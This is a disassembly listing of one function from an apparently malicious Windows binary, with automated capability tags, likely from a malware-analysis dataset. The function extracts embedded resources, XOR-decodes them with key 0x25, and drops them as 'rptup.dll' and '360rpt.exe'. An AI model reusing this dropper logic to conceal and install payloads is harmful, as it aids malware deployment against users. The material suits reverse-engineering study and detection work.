Function at 0x405930
Capabilities:
Delete file
Encode data using xor
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x415c08
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push ebp
push esi
xor esi, esi
push edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
push ecx
mov dword [esp + 0x2c], esi
mov dword [esp + 0x14], esp
mov eax, esp
push ecx
mov ecx, esp
mov dword [esp + 0x1c], esp
push 0x41a648
mov dword [eax], 0xcb
call fcn.00405cf0
lea ecx, [esp + 0x20]
call fcn.00405d20
test al, al
mov eax, dword [esp + 0x18]
jne 0x405990
cmp eax, esi
jmp 0x405b23
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [0x41eb20]
mov edx, dword [esp + 0x1c]
mov ebp, eax
push edx
mov eax, dword [ecx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov eax, dword [0x41ec68]
cmp eax, esi
jne 0x4059d7
xor eax, eax
cmp ebx, esi
jbe 0x4059cd
mov cl, byte [eax + ebp]
xor cl, 0x25
mov byte [eax + ebp], cl
inc eax
cmp eax, ebx
jb 0x4059bf
mov dword [0x41ec68], 1
mov eax, dword [esp + 0x30]
mov edi, dword [esp + 0x34]
push eax
push str._s_rptup.dll
push edi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x405b1d
lea ecx, [esp + 0x10]
push 0
push ecx
push ebx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push esi
je 0x405b17
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
xor esi, esi
cmp eax, esi
je 0x405a49
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
push ecx
mov dword [esp + 0x38], esp
mov eax, esp
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x41a648
mov dword [eax], 0xcc
call fcn.00405cf0
lea ecx, [esp + 0x20]
call fcn.00405d20
test al, al
jne 0x405a86
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x18]
cmp eax, esi
jmp 0x405b23
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x1c]
mov ebp, eax
mov eax, dword [0x41eb20]
push ecx
mov eax, dword [eax + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov eax, dword [0x41ec6c]
cmp eax, esi
jne 0x405ad0
xor eax, eax
cmp ebx, esi
jbe 0x405ac6
mov cl, byte [eax + ebp]
xor cl, 0x25
mov byte [eax + ebp], cl
inc eax
cmp eax, ebx
jb 0x405ab8
mov dword [0x41ec6c], 1
mov edx, dword [esp + 0x30]
push edx
push str._s360rpt.exe
push edi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x405b1d
lea eax, [esp + 0x10]
push 0
push eax
push ebx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push esi
jne 0x405b41
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
test eax, eax
je 0x405b2c
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
xor eax, eax
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
test eax, eax
je 0x405b56
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [esp + 0x20]
pop edi
pop esi
pop ebp
mov eax, 1
mov dword fs:[0], ecx
pop ebx
add esp, 0x1c
ret